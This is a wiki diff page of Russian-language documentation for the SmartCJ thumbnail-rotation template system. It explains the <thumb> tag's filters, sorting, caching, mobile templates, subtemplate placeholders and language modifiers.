User Tools

Site Tools


ru:new_rotation_templates

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
ru:new_rotation_templates [2017/05/05 10:50]
admin [How it works]
ru:new_rotation_templates [2024/02/25 17:00] (current)
admin [Search log]
Line 1: Line 1:
 +====== New Rotation Templates ======
 +
 +Темплейт – это обыкновенный html со специальными тагами, указывающими где и как выводить тумбы. Темплейты хранятся в базе, результаты кешируются на время указанное вами в сетингах либо в настройках темпелйта либо прямо в таге.
 +
 +В редактировании темплейтов есть поля cols & rows. Эти поля в принципе никак не вляют на ротацию и нужны только для удобства просмотра статистики ячеек в [[Cell Stats]].
 +
 +
 +Имя темплейта никак не связано с тем какие таги там можно использовать, например категория выводится по умолчанию темплейтом content_list, но вы можете добавить &force_template=... в реврайт категории и выводить ее любым темплейтом. 
 +
 +
 +Во всех темплейтах должен быть хоть 1 субтемплейт. Субтемплейт это то как будет выведена каждая тумба. Вот пример как он выглядит:
 +
 +  <a href="/gallery/<!--GALLERY_SLUG-->/index.html?<!--THUMB_LINK-->" title="<!--ALT-->">
 +  <img   src="<!--THUMB_URL-->" class="t_img" alt="" /></a> 
 +
 +Субтемплейтов может быть любое количество. Обратите внимание, что 
 +
 +1. Физически пути /gallery/<!--GALLERY_SLUG-->/index.html на серваке нет, страницы формируются на лету, при запросе самой страницы, а такой урл получается благодаря реврайтам. [[New Rotation FAQ]]
 +
 +2. В данном примере скрипт считает клики по параметру <!--THUMB_LINK-->, но этот параметр не обязателен, тк новая версия умеет счииать и без него [[Rotation Parameter]]
 +
 +Места для вывода тумб в темплейте указываются следующим образом.
 +Например, 
 +
 +<code>
 +  <thumb template=default num=1></thumb> - значит вывести тут тумбу номер 1 используя сабтемпелйт default
 +  если не указывать сабтемплейт то по умолчанию берет темплейт default те 
 +  <thumb template=default num=1></thumb> равно <thumb num=1></thumb>
 +</code>
 +
 +Можно указывать пространства номеров например
 +
 +  <thumb num=1-5></thumb>
 +
 +выведет 5 первых тумб.    
 +
 +В самом таге можно указывать фильтры например базово например у нас есть темплейт index, по дефолту у него нет никаких фильтров и если написать 
 +
 +  <thumb num=1-10></thumb> 
 +  
 +то вы получите первые 10 по цтр тумб из всех категорий. 
 +
 +  <thumb sponsor=Myspon num=1-10></thumb> 
 +  или если есть пробел 
 +  <thumb sponsor="My spon" num=1-10></thumb>  
 +  или просто с ИД <thumb sponsor_id=5 num=1-10></thumb> или несколько <thumb sponsor_id=5,10 num=1-10></thumb>
 +  
 +Выведет первых 10 тумб соотв спонсора. Точно так же можно указывать группу (категорию)
 +
 +  <thumb category=Mycategory num=1-10></thumb> 
 +  или просто с ИД <thumb category_id=5 num=1-10></thumb>
 +  так же можно исключить группы например  <thumb skip_category=Mycat,other_category num=1-10></thumb> 
 +  
 +
 +Сортировку
 +
 +  <thumb order=date category=Mycategory num=1-10></thumb> 
 +
 +и лимит контента
 +
 +  <thumb content_type=image num=1-10></thumb>  выведет только те, у которых тип контента картинки (может быть так же movie (выводит И мувики И флеш) , flash (толкьо флеш) и movie_only - только именно мувики )
 +  
 +
 +И конечно их можно совмещать, например 
 +
 +  <thumb category=Mycategory sponsor=mysponsor num=1-10></thumb> 
 +  
 +Обратите внимание, что сабтемплейт можно указывать прямо основном темплейте, что часто бывает очень удобно, напрмер
 +
 +  <thumb category=Mycategory sponsor=mysponsor num=1-10>  <a href='/gallery/<!--GALLERY_SLUG-->/index.html'><!--THUMB_URL--> <---  это сабтемпелйт   </thumb> 
 +
 +
 +
 +C этими фильтрами в тагах есть ньюанс: фильтры дополняют те, которые уже переданы в запросе страницы. Например страница категории /category/super_name/  что реврайтом преобразуется в запрос /?category_name=super_name
 +
 +по умолчанию в темпелйте стоит только 
 +
 +  <thumb num=1-10></thumb> 
 +
 +тк в запросе уже есть фильтр category_name то даже несмотря на то что в таге <thumb не указан фильтр по группе, 
 +все равно выводятся тумбы из группы super_name (потому что этот фильтр уже есть в запросе).
 +
 +Поэтому если вы напишете в темплейте 
 +
 +  <thumb sponsor_id=5 num=1-10></thumb> 
 +
 +то в этом таге выведет тумбы с 2ми фильтрами: тумбы, которые в группе super_name И принадлежат спонсору ид = 5.
 +
 +Если надо именно определенная группа, тк надо переназвачить то что уже назначено в урле (в нашем примере category_name ), надо группу явно указать в таге те 
 +
 +  <thumb sponsor_id=5 category=mycategory num=1-10></thumb> 
 +
 +
 +
 +**Сабтемплеты** 
 +Хотелось бы напомнить немного про темплейты:
 +
 +  <thumb sponsor_id=5 num=1-10></thumb> 
 +  
 +будет выводить тумбы юзая сабтемплейт default, вы можете указать другой саб темпелйт 
 +
 +  <thumb sponsor_id=5 num=1-10 template=my_tpl></thumb>   
 +  
 +или вписав сабтемплейт прямов таге
 +
 +  <thumb sponsor_id=5 num=1-10> <a href=...> img src=<!--THUMB_URL--> </a></thumb>     
 +  
 +Если у вас нет сабтемпелйта  default, и саб темпелйт нигде не указан, то какие сабтемплейтом выводить тумбы ?
 +
 +
 +**Ограничение по длительности**
 +
 +  <thumb duration_min=10 duration_max=90 num=1-10> <!--ID--> <!--DURATION--> <br> </thumb>
 +
 +что аналогично если в темплейте просто 
 +
 +  <thumb num=1-10> <!--ID--> <!--DURATION--> <br> </thumb>
 +
 +но урл domain/scj/tube/?duration_min=10&duration_max=90
 +
 +
 +Обратите внимание что параметры везде можно передавать любым способом http://smartcj.com/wiki/doku.php?id=ru:new_rotation_hints#setting_get_parameters
 +
 +
 +**Ограничение по ИД группы** 
 +
 +Добавлен параметр skip_category_id в УРЛ или таг <thumb ... > , смысл простой - не выводить тумбы из группых такой-то.
 +
 +
 +**Ограничение по спонсору** 
 +
 +  <thumb sponsor_id=5 num=1-10> ... </thumb>   
 +  <thumb sponsor="sponsor name" num=1-10> ... </thumb>   
 +  <thumb sponsor_slug="sponsor_slug" num=1-10> ... </thumb>   
 +  
 +
 +
 +Включение всех сайтов одного спонсора. В спонсорах есть 2 поля Sponsor name and Sponsor Site, те у одного спонсора - может быть несколько сайтов (в Rotation - Sponsor они комбинируются в меню). Можно вывести все сайты одного спонсора
 +
 +  <thumb sponsor_name="sponsor name" sponsor_include_all_sites=true>
 +
 +
 +Исключение спонсоров
 +
 +  <thumb skip_sponsor_id =5 num=1-10> ... </thumb>   
 +  <thumb skip_sponsor="sponsor name" num=1-10> ... </thumb>   
 +
 +
 +
 +**Ограничение по дате** 
 +
 +<code>
 +&date_start=2012-01-01&date_end=2013-01-02
 +</code>
 +
 +соответственно выведет тумбы из данного временного промежутка. Можно использовать и только 1 парамтер начала и конца.
 +
 +А так же несколько пресетов
 +<code>
 +&date_limit=today (yesterday, this_week, this_month) - что автоматически подставит нужные даты
 +</code>
 +
 +**
 +И по продолжительности мувика (в секундах)**
 +
 +<code>
 +&duration_min=60&duration_max=120
 +</code>
 +
 +
 +
 +**Общие таги для темплейтов**
 +
 +<code>
 +
 +<!--TEMPLATE_NAME--> имя текущего темплейта
 +
 +</code>
 +
 +
 +**Повторяемость галер - allow_dupes**
 +
 +Если у вас условно есть таг 
 +<thumb num=1-10></thumb>   
 +
 +и вы впишете где-то в темплейте <thumb num=1-5></thumb>  или <thumb num=1-10></thumb> , те когда параметры тага точно совпадают, то скрипт выведете те же тумбы.
 +
 +Однако, если таги отличаются, например следующий таг 
 +
 +  <thumb num=1-10 order=date></thumb>   
 +  <thumb num=1-10 sponsor_id=5></thumb>   
 +
 +и тп то при выборке для этого тага галеры, которые были найдены в первом таге, будут исключены.
 +
 +Такое поведение можно избежать если добавить в таг <thumb allow_dupes=true num=1-10></thumb>   
 +
 +**Num modifiers**
 +
 +обычно номер задается в таге <thumb num=1-10 но в определенных ситуациях можно добавлять параметры, которые будут автоматически менять номера.
 +
 +
 +**num_range_shift** - например <thumb num=1-10 num_range_shift=1-5  выведет набор 1-10, 11-20 и тп те увеличивая num в 1-5 раз. Это даст разнообразие в похожий таг.
 +
 +
 +
 +**zero_items_return_404**
 +
 +В настройках есть опция "URLs with 0 result thumbs return 404", те если таг вернул 0 галер на странице то редиректим на темплейт content_not_found. Но бывают случаи когда надо переписать это поведение для конкретной страницы:
 +
 +<thumb num=1-10 zero_items_return_404=off ...
 +
 +
 +**skip_test_thumbs**
 +
 +Бывает что по каким-то причинам в блоке не надо выводить тестовые тумбы, например у вас указано выводить тестовые на местах 10-15, а вы хотите вывести просто 15 тумб по цтр без тестовых
 +
 +  <thumb skip_test_thumbs=true num=1-15
 +
 +===== Inline thumbs =====
 +
 +Полезный таг для нативной рекламы.
 +
 +Например, у нас есть стандартный таг 
 +
 +<code>
 +<thumb num=1-100> <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> </thumb>
 +</code>
 +
 +и мы хотим подмешать как рекламу спонсора. В обычном случае это выглядело бы как 
 +
 +<code>
 +<thumb num=1-50> <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> </thumb>
 +
 +<a href='link to sponsor'> ... </a>
 +
 +<thumb num=51-100> <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> </thumb>
 +
 +</code>
 +
 +те нам надо руками указать где именно разрыв в настоящих тумбах и линк на спонсора.
 +
 +
 +в новым тагом сделать это намного удобнее 
 +
 +1. создаем сабтемплейт например sponsor_thumbs
 +
 +<code>
 +<a href='link to sponsor'> ... </a>
 +</code>
 +
 +2. в странице прописываем как 
 +
 +<code>
 +<thumb num=1-100 **inline_thumbs=5 inline_thumbs_subtemplate=sponsor_thumbs**>
 +<a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> 
 +</thumb>
 +</code>
 +
 +те из 100 тумб на рендомных местах будет выведено не <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> , а то что указано в сабтемплейте sponsor_thumbs, те линк на спона. Таким образом эти линки будут органично вписаны в страницу и не выглядеть чем-то инородным.
 +
 +
 +Обратите внимание, что можно указывать несколько сабов например inline_thumbs_subtemplate=subtemplate1,subtemplate2 и тп и будет брать по очереди каждый из сабов.
 +
 +
 +
 +**Inline** так же работает для моделейб спонсоров, search_log 
 +
 +
 +<code>
 +
 +<models  num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline>
 +  <!--MODEL_NAME--><br>
 +</models>
 +
 +
 +<sponsors  num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline>
 +  <!--SPONSOR_NAME--><br>
 +</sponsors>
 +
 +
 +<search_log num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline>
 +    <!--SEARCH_QUERY--> <br>
 +</search_log>    
 +
 +
 +<category  num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline>
 +  <!--CATEGORY_NAME--><br>
 +</category>
 +
 +
 +</code>
 +
 +
 +===== Thumb status =====
 +
 +По умолчанию  скирпт выводит только активные галеры, но в некоторых случаях может понадобился вывести и не активные. Для этого в макросе <thumb есть параметр gallery_status=inactive который выведет и неактивные галеры
 +
 +
 +===== Thumb sort =====
 +
 +По дефолту тумбы сортируютс по ЦТР. Но вы можете сортировать в другом порядке:
 +
 +<code>
 +date
 +date_asc
 +duration
 +rating
 +total_shows
 +gallery_id
 +no_order (как выдаст база так и выводит, фактически по ИД)
 +random , обратите внимание что random медленный на больших базах
 +easy_random - псевдо рендом, рекомендуется использовать этот вариант на больших базах
 +comments_count - по кол-ву комментов  (медленно на больших базах)
 +</code>
 +
 +Как уже было отмечено выше параметры из урла переходят в таг, если не указано обратного.
 +
 +Те &order=date в урле  это тоже самое что <thumb order=date
 +
 +так же можно сортировать по кастом вар галер например 
 +
 +  <thumb num=1-10 order=custom_var1 sort=desc (или asc) >
 +  
 +но тут надо помнить что по умолчанию на этих полях нет индекса, и сортировка на больших базах по этим полям может быть медленной. Если вы понимаете что делаете то имеет смысл добавить индекс на это поле.
 +
 +
 +Так же можно ставить промежуток для кастом полей, добавляя слова from & to , например 
 +
 +  <thumb num=1-10 custom_var1_from=10 custom_var_to=20
 +  
 +  
 +Тут надо будет обратить внимание что цифры и буквы mysql может сортировать по-разному и для разных вариантов есть свои ньюансы. Поэтому если выборка будет работать не так как предполагаетеся, отпишите на форум с подробностями какие типа данных как фильтруются\сортируются.
 +
 +====== fixed_num ======
 +
 +Как было указано выше тумбы выводятся с учетом страницы, те <thumb num=1-10 выведет 1-10 на первой странице и 11-20 на &page=2. 
 +
 +Если надо вывести один и тот же сет тумб на всех страницах, например в хедере топ 5 тумб категории, то можно зафиксировать num
 +
 +  <thumb num=1-10 fixed_num=true
 +
 +и на всех страницах будет выводить именно 1-10
 +===== Unset parameter =====
 +
 +В параметрах работает наследование: это значит что парамтеры из урла складываются с параметрами из тага, поэтому например у вас в темплейте 
 +
 +  <thumb num=1-10  
 +  
 +
 +но на странице категории выводит 10 тумб из категории, получается по факту как бы таг 
 +
 +  <thumb num=1-10 category_id=.. (из урла)
 +  
 +а например на странице модели тот же таг выводит тумбы модели тк получается
 +
 +  <thumb num=1-10 model_id=.. (из урла)
 +
 +
 +Это удобно, но иногда надо вывести например рендомные тумбы на странице категории. Если сделать просто 
 +
 +
 +  <thumb num=1-10 order=easy_random
 +  
 +
 +то как было описано выше получится   
 +
 +  <thumb num=1-10 order=easy_random category_id=...
 +
 +поэтому именно для этого тага надо убрать параметр категории и он будет выглядеть как
 +
 +  <thumb num=1-10 order=easy_random category_id=""
 +
 +те мы убрали параметр category_id который в таг попал бы из урла.
 +
 +Еще пример: у вас страница поиска, таг 
 +
 +  <thumb num=1-10  
 +  который по факту 
 +  
 +  <thumb num=1-10 search=... (из урла)
 +  
 +что бы вывести 10 рендомных на этой странице надо сделать   
 +
 +  <thumb num=1-10 search=""  те "обнулить" параметр для конкретного тага
 +
 +
 +===== GET parameters =====
 +
 +Иногда в самом таге надо выставить параметр в зависимостри от страницы. Обычно для этого используются переменные из УРЛа, которые по правильному называются GET переменными. Например, мы хотим вывести моделей
 +
 +  <models first_letter=a
 +  
 +выведет фиксированно моделей на букву А. но создавать темпелйт на каждую букву неудобно, и мы можем сделать 
 +
 +  <models first_letter=GET_someletter
 +  
 +что значит первую букву взять из переменной урла someletter например
 +
 +  /?force_template=...&someletter=...
 +  
 +  
 +**Для тагов** есть есть небольшой ньюянс. Обычно в урле таг указывается как &tag=car, но если вам надо указать например 2 тага то можно сделать &tag=car,bus, в этом случае будет искать галеры где есть таг car ИЛИ(!) bus.
 +
 +Иногда надо сделать уточнение для поиска, когда таг обязательно должен быть или наоборот обязательно отсуствовать, например car, но что б не было тага blue - &tag=car,-blue, как не сложно заметить тут перед blue знак минуса, те этого тага быть не должно.
 +
 +Аналогично если наоборот, таг должен обязательно присутствовать, в этом случае перед тагом должен быть + (плюс). Тут надо обратить внимание, что по стандарту урлов плюс - это зарезервированный символ, который заменяет пробел, поэтому плюс надо делать url encoded а именно %2B те урл будет &tag=car,%2Bred  те у галеры должны быть 2 тага car И(!) red.
 +
 +
 +
 +
 +===== Cache parameter =====
 +
 +По умолчанию мы кешируем страницу сайта на время указанное в сеттингах (Cache time, seconds) по дефолту 600, это значит что страница сгенерится 1 раз и потом будет показываться в этом виде 600 секунд, даже если данные изменятся, это позволяет разгрузить сервак и не генерить страницу на каждый заход.
 +
 +Далее можно регулировать кеширование для каждой страницы: в редактировании страницы так же есть поле Cache time, seconds, этот параметр более важен чем общий.
 +
 +Но можно регулировать еще глубже - в таге например <thumb num=1-100 cache_time=100 - тут кашерование тага будет 100 секеунд.
 +
 +Но есть еще один более глубокий параметр - count_total_cache_time
 +
 +Смысл следующий: когда мы вычисляем выводим тумбы из категории А, то нам надо 2 параметра - условно первые 100 тумб и, если есть пагинация, сколко всего тумб с учетом выключенных спонсоров, групп и тп. Посчитать сколько всего всего тумб - это определенная нагрузка. Поэтому когда юзер заходит в категорию мы выбираем топ 100 и общее кол-во тумб в категории. Когда он заходит на страницу 2 в этой категории, мы уже выбираем топ 100-200, но уже не считаем общее кол-во тумб - это экономит ресурсы.
 +
 +Но есть момент гдеправильный подсчет важнее чем экономия - например для favorites темплейта: тут надо бы показывать сразу актуальное кол-во после добавления новых видео.
 +
 +Для этого мы можем сделать <thumb num=1-10 count_total_cache_time=1
 +
 +И этот запрос будет кешироваться на 1 секунду, что достаточно что бы держать информацию актуальной всегда.
 +
 +===== Custom cache =====
 +
 +Note - это только для тех, кто понимает в пхп. 
 +
 +Может быть ситуация вы в темплейте выполняете какие-то действия на пхп и эти действия - тяжелые для процессора. В этом случае вы можете кешить свои результаты используя кеш скрипта, например:
 +
 +<code>
 +if (false === ($cache_result = Cache::get('cache_name'))) {
 +$cache_result  = 'какие-то ваши вычисления и тп';
 +
 +Cache::set('cache_name', $cache_result, время_кеша_в_секундах);
 +
 +}
 +
 +выводим $cache_result  (тут он точно есть - или из кеша или вычисленный если кеша не было
 +
 +</code>
 +===== Page main tag  =====
 +
 +Проблема: у нас есть какая то страница на которой 2 тага: 
 +
 +  <thumb category=A num=1-10 
 +  and 
 +  <thumb category=B num=1-10 
 +  
 +Возникает проблема с навигацией, поскольку не ясно по какому из тагов считать максимальное кол-во страниц. Для того что б пофиксить это введен параметр page_main_tag те <thumb category=B num=1-10 page_main_tag=true в данном варианте посчитает навигацию по этому тагу. 
 +
 +Вторая проблема, это show 404 when 0 items. 
 +
 +  <search_log num=1-10 
 +  and 
 +  <thumb category=B num=1-10 
 +
 +
 +при этом search_log - пустой, таг вернул 0 галер, скрипт думает что надо показать страницу 404, однако вы полагаете что основная часть страницы тут это вывод <search_log  или <thumb. Те надо указать какой таг - основной, например 
 +
 +
 +  <search_log num=1-10 
 +  and 
 +  <thumb category=B num=1-10 page_main_tag=true
 +
 +===== do_not_count_shows =====
 +
 +Если по какой-то причине для каких-то тумб на странице не надо считать показы, то достаточно добавить в таг параметр do_not_count_shows
 +
 +  <thumb do_not_count_shows=true
 +  
 +Обратите внимание что показ тумбы считается 1 раз. Например, на странице 
 +
 +<meta ... <thumb num=1-10> <!--DESCRIPTION--> </thumb> - те просто заполнение мета данных
 +
 +а позже в странице опять 
 +<thumb num=1-10><a href ...> те те же тумбы но другой сабтемплейт что б вывести тумбы
 +
 +несмотря на то что выведено 2 раза - будет посчитан только 1 показ.
 +
 +
 +Также это работает для системных тумб, например тумб категорий. Это надо например когда вы просто выводите лист категорий, без вывода тумбы, и вам не надо добавлять +1 показ к тумба категорий, например 
 +
 +<code>
 +<category do_not_count_shows=true order=alphabet num=1-200>
 +<!--CATEGORY_NAME--> <br>
 +</category>
 +</code>
 +
 +
 +
 +===== Mobile Templates =====
 +
 +Если вы хотите отдельный дизайн для мобильных устройств то любой темплейт может быть продублирован темплейтом с таким же именем, но с mobile_ в начале, и мобильный траффик получит темплейт с mobile. Например, у нас есть index, mobile_index и content_custom_pic (условно mobile_content_custom_pic не создавали).
 +Серфер мобильный пришел на индекс - ему покажет темпелейт mobile_index.
 +Далее он попал на галерею - ему покажет content_custom_pic, тк mobile_content_custom_pic нету.
 +
 +
 +**NOTE** Если по какой-то причине вы хотите дать возможность пользователю выключить этот функционал - есть параметр &skip_mobile_templates=yes в этом случае скрипт не будет подставлять мобильные темпелйты. Если надо включить снова функционал - skip_mobile_templates=no
 +
 +
 +
 +===== Related Galleries  =====
 +
 +Для кастом галер есть возможно вывести тн related galleries, по дефолту это гадеры из той же категории, но можно менять в таге
 +
 +<code>
 +
 +Примеры 
 +
 +<thumb category=CURRENT_ITEM_GROUP num=1-5>
 +some template
 +</thumb>
 +
 +
 +<thumb sponsor=CURRENT_ITEM_SPONSOR category="" num=1-5>
 +some template
 +</thumb>
 +
 +<thumb model=CURRENT_ITEM_MODEL category="" num=1-5>
 +some template
 +</thumb>
 +
 +
 +<thumb tag=CURRENT_ITEM_TAG num=1-5>
 +some template
 +</thumb>
 +
 +<thumb tag=CURRENT_ITEM_TAGS_COMBINED num=1-5>
 +some template
 +</thumb>
 +
 +
 +Эти варианты более комплексные (больше грузят базу) чем варианты выше
 +
 +<thumb tag=CURRENT_ITEM_TAGS_INTERSECTION num=1-5>
 +выводим в порядке сортировки по кол-ву совпадающих тагов (условно если совпало 4 тага, это лучше чем когда совпало 3 тага)
 +</thumb>
 +
 +<thumb category=CURRENT_ITEM_GROUPS_INTERSECTION num=1-5>
 +выводим в порядке сортировки по кол-ву совпадающих групп
 +</thumb>
 +
 +
 +
 +можно так же пропускать  спонсора, например 
 +
 +<thumb num=1-10 skip_sponsor_id=THIS_ITEM_SPONSOR_ID>
 +    <!--GALLERY_ID--> ... 
 +</thumb>
 +
 +
 +
 +
 +</code>
 +
 +Обратите внимание, что CURRENT_ITEM_TAG and  CURRENT_ITEM_GROUP берут для выборки рендомную группу\таг если их несколько. CURRENT_ITEM_TAGS_COMBINED - берет сразу все таги.
 +
 +
 +====== Special Parameters ======
 +
 +===== THIS_CATEGORY_BEST_THUMB_ID =====
 +
 +  <thumb first_thumb_id=THIS_CATEGORY_BEST_THUMB_ID order=ctr num=1-10>
 +  
 +  
 +По умолчанию тумба категории - это лучшая тумба в категории. Но например, у нас есть тумба которая находится в 5 категориях, и она супер популярная. При выборе тумбы категории она становится тумбой категории А, для категории B она уже не будет быть тумбой категории, что бы на индексе не было повторений, и тумбой категории B становится 2я по цтр тумба. Однако когда серфер заходит в категорию В он видит тумбу на которую кликнул не сразу. Показанный таг ставит тумбу категории на первое место в обязательном порядке.
 +
 +Тестовый параметр, смотрите насколько работает для вас.
 +
 +====== Subtemplate tags ======
 +
 +Таки которые можно использовать в сабтемпелйтах
 +
 +<code>
 +  <!--URL--> оно же <!--GAL_URL--> - УРЛ галереи.
 +  <!--THUMB_URL--> УРЛ тумбы
 +  <!--EXTRA_THUMB_URL--> - экстра тумба
 +  <!--THUMB_LINK--> ИД тумбы для подсчета кликов (так называемый параметр ротации, если его не будет - клики по тумбе в цтр не засчитаются)
 +  
 +  <!--DESCRIPTION-->  Описание
 +
 +  <!--GALLERY_SLUG--> SEO видное описание гали
 +  <!--GALLERY_SLUG::DE--> <!--GALLERY_SLUG::IT--> где DE IT языки если вам надо вывести слаг на другом языке
 +  <!--ID--> ИД тумбы в базе
 +  <!--ACTIVATION_DATE--> <!--ACTIVATION_DATETIME--> время добавления 
 +  <!--ALT--> альтернативное описание 
 +
 +  <!--TAG1--> - первый таг
 +  <!--TAG2--> - второй таг и тп
 +  <tag_list ><!--TAG--> </tag_list> - вывести все доступные таги в цикле
 +  <!--ALL_THUMBS--> - если у гали есть несколько тумб для ротации то этот таг выведет их все через запятую
 +
 +
 +  <!--CATEGORY_1_NAME--> <!--CATEGORY_2_NAME--> (old style <!--GROUP_1_NAME--> и тп
 +  <!--CATEGORY_1_ID--> <!--CATEGORY_2_ID--> (old style <!--GROUP_1_ID--> <!--GROUP_2_ID-->) те все переменные группы можно так же вывести в виде GROUP_1_переменная_группы
 +  
 +  <category_list num=1-5><!--CATEGORY_NAME--> </category_list> вывести циклом все группы галереи 
 +  
 +  <!--CASTS--> = <!--SHOWS--> = <!--VIEWS-->
 +  <!--RATING-->
 +  <!--RATING_VOTES--> - общее кол-во голосов 
 +  <!--RATING_1-->, <!--RATING_2--> - кол-во проголоовавших 1, 2 и тд
 +  <!--CLICKS-->
 +  <!--CUSTOM_VAR1-->
 +  <!--CUSTOM_VAR2-->
 +  <!--CUSTOM_VAR3-->
 +  <!--IMAGE_COUNT-->, <!--MOVIE_COUNT--> и <!--FLASH_COUNT-->
 +  <!--CONTENT_TYPE--> побитно 1 - images, 2 movie , 4 - flash. 
 +  <!--THUMB_WIDTH--> <!--THUMB_HEIGHT-->
 +  <!--DURATION--> <!--DURATION_SECONDS-->
 +  
 +  <!--VIDEO_PREVIEW_URL-->  - видео превью
 +  
 +  <!--MODEL_1_NAME-->
 +  <!--MODEL_1_SLUG-->
 +  <!--MODEL_2_NAME-->
 +  <!--MODEL_2_SLUG-->
 +  
 +  <model_list num=1-100><!--MODEL_NAME--> </model_list>  можно вывести циклом все модели галереи 
 +  
 +  
 +  <!--CUSTOM_GALLERY_ITEM_ID--> - ИД тумбы в пределах галеры, в которой относится текущая тумба ротации.
 +  
 +  <!--COMMENTS_COUNT--> - кол-во коментариев у этого видео 
 +
 +  <!--POS--> - номер тумбы в листинге на странице 
 +
 +</code>
 +
 +Подробнее про видеопревью - [[ru:rotation_crop_profiles#video_preview|Video Preview]]
 +
 +  
 +Например, мы сграбили галеру где 10 картинок, в кастом галере - 10 картинок. В ротацию добавили например 5 их них. Теперь мы хотим что бы человек попадал с тумбы ротации (например со страницы категории) сразу на страницу с нужной картинкой. Например при ротации лучшая тумба - номер 3 (в ротации напоминаю 5 всего), и этой тумбе номер 3 соответствует картинка например номер 6 в кастом галере. В этом случае <!--CUSTOM_GALLERY_ITEM_ID--> выведет 6. Линку можно сделать вида /gallery/<!--GALLERY_SLUG-->/<!--CUSTOM_GALLERY_ITEM_ID-->.html , реврайт out.php?url=content&slug=...&item_id=... 
 +
 +
 +**Вывод переменных категорий** 
 +
 +
 +Например, на странице категории мы решили вывести <!--CATEGORY_NAME--> (условно урл domain.com/category/asd/ - ясно что мы выведем asd), но на странице галеры, у которой например 3 категории, если мы используем <!--CATEGORY_NAME--> то не ясно название какой из 3х надо вывести. Для этого, как можно видеть выше, есть дополнения, пример <!--CATEGORY_1_NAME--> <!--CATEGORY_2_NAME--> , либо таг <category_list
 +
 +
 +
 +**Небольшой уточнение про параметр THUMB_LINK.** 
 +
 +Смысл следующий: изначально &link= это параметр трекинга линков. Например, у вас страница на которой разные блоки с линками на аут и вы хотите проследить, на что больше кликают. Вы делаете в одном блоке &link=block1? а в другом  &link=block2, через какое-то время идете в trade - stats - links и смотрите на что сколько кликали.
 +
 +Потом появилась ротация - и этот параметр стали использовать для ротации в виде images/12x34x45.  Такой вид был выбран для того, что б не путать линки вида block1 с линками, которые скрипт юзает для ротации. Те линки вида images/12x34x45 в статистике просто не показываются. Урлы получались вида /out.php?url=http://gallery/&link=images/12x34x45 - по такому линку скрипт понимал что 1) кликнули по тумбе такой то 2) этот link не надо выводить в trade - stats - links, а надо только учитывать в статистике тумб.
 +
 +Потом появились реврайты и галинки начали выглядеть как /gallery/cool/index.html?images/12x34x45 что выглядело не совсем красиво, и решили укоротить до /gallery/cool/index.html?12x34x45  Как ни сложно заметить пропало "images/" - его перенесли в реврайты, а что б скрипт выводил просто 12x34x45 , а не images/12x34x45, добавлися таг THUMB_LINK.
 +
 +Итого урл вида /gallery/cool/index.html?12x34x45 реврайтом преображается в что-то вида out.php?link=images/12x34x45&url=content&slug=cool, где все так же есть параметр линк трекинга link= , и url=content&slug=cool указывает на то что надо взять из базы галеру со слагом cool.
 +
 +Из-за того что исторически сложилось так, что ротация использует параметр линктрекинга &link= стало невозможно ставить трекнг на тумбы , если юзается ротация. Те в урле out.php?link=images/12x34x45&url=content&slug=cool  параметр &link уже использован и мы не можем поставить &link=block1 например для того, что б трекить в каком блоке больше кликают. Для этого появился праметр &link2= смысл которого в том же что и &link= , но наличие его позволяет делать out.php?link=images/12x34x45&url=content&slug=cool&link2=block1
 +
 +
 +===== category_list separator  =====
 +
 +Для тагов <category_list <model_list и <tag_list появился доп параметр - separator. 
 +
 +<code>
 +Смысл проблемы в том что если вы выводили например группы как 
 +
 +<category_list num=1-10><!--CATEGORY_NAME--> </category_list>
 +
 +то могли получить что то вроде "category1,category2,category3,"
 +
 +и вот эта последняя запятая портила вид.
 +
 +Теперь можно сделать 
 +
 +<category_list num=1-10 separator="," ><!--CATEGORY_NAME--> </category_list>
 +
 +и выведет без нее "category1,category2,category3"
 +
 +</code>
 +
 +
 +===== category_list =====
 +
 +Представим, что у нас есть 2 основные категории: машины (1) и мотоциклы(2), и каждая из них содержит подкатегории (например цвета красный, синий и тп)
 +
 +Получается, что любая галера по факту в 2х категориях как минимум, например "машина" и "синий". Мы выводим в темплейте только машины, например 
 +
 +
 +<code>
 +
 +<thumb num=1-5 order=ctr category_id=1>
 +<category_list num=1-5 separator="..."><!--CATEGORY_NAME--></category_list><br>
 +</thumb>
 +
 +</code>
 +
 +в этом случае <category_list выведет эти 2 категории: машины (root category) и синий (подкатегория).
 +
 +В случае если по каким-то причинам мы хотим вывести только подкатегории надо указать 
 +
 +   <category_list skip_parent_category=true num=1-5 separator="..."><!--CATEGORY_NAME--> </category_list>
 +   
 +   
 +===== tag_list =====
 +
 +В темплейтах есть возможноть вывести циклом все таги галеры <tag_list ...... ><!--TAG--> </tag_list>
 +
 +<code>
 +<tag_list order=alphabet search="milk" separator="," num=1-5><!--TAG--> </tag_list>
 +
 +дополнительные параметры
 +
 +  order=alphabet, random
 +  search="milk" 
 +  separator=","
 +  tag_status=wait \ active  
 +
 +</code>
 +
 +
 +
 +**Tag languages**
 +
 +Если у вас несколько языков, то таги можно перевести на соответствующий язык например и тогда на странице /de таги буду выведены на немецком
 +
 +  <tag_list num=1-5> <!--TAG_NAME--> </tag_list>
 + 
 +
 +обычно таги линкуются на страницу в листингом галер по этому тагу например
 +
 +  <tag_list num=1-5> 
 +  <a href='/tag/<!--TAG_NAME-->/
 +  </tag_list>
 +
 +
 +ясно что в этом случае в урле таг будет написан на немецком. В случае если вы хотите что бы в линках был основной язык (условно английский)  то надо менять язык вывода 
 +
 +  <tag_list num=1-5> 
 +  <a href='/tag/<!--TAG_NAME::MAIN-->/'> <!--TAG_NAME--> </a> (other lng <!--TAG_NAME::DE-->  <!--TAG_NAME::IT--> and so on)
 +  </tag_list>
 +
 +
 +====== Language Modifiers ======
 +
 +Если у вас насколько языков на сайте, то к любым данным на другом языке можно обратиться если добавить в конце тага ::LNG, например на странице /de
 +
 +
 +  <!--TAG_NAME--> текущий язык страницы (в этом примере выведет на немецком)
 +  <!--TAG_NAME::MAIN-->  на основном языке (допустим основной английский)
 +  <!--TAG_NAME::DE-->  на немецком
 +  <!--TAG_NAME::IT-->  на итальянском
 +  
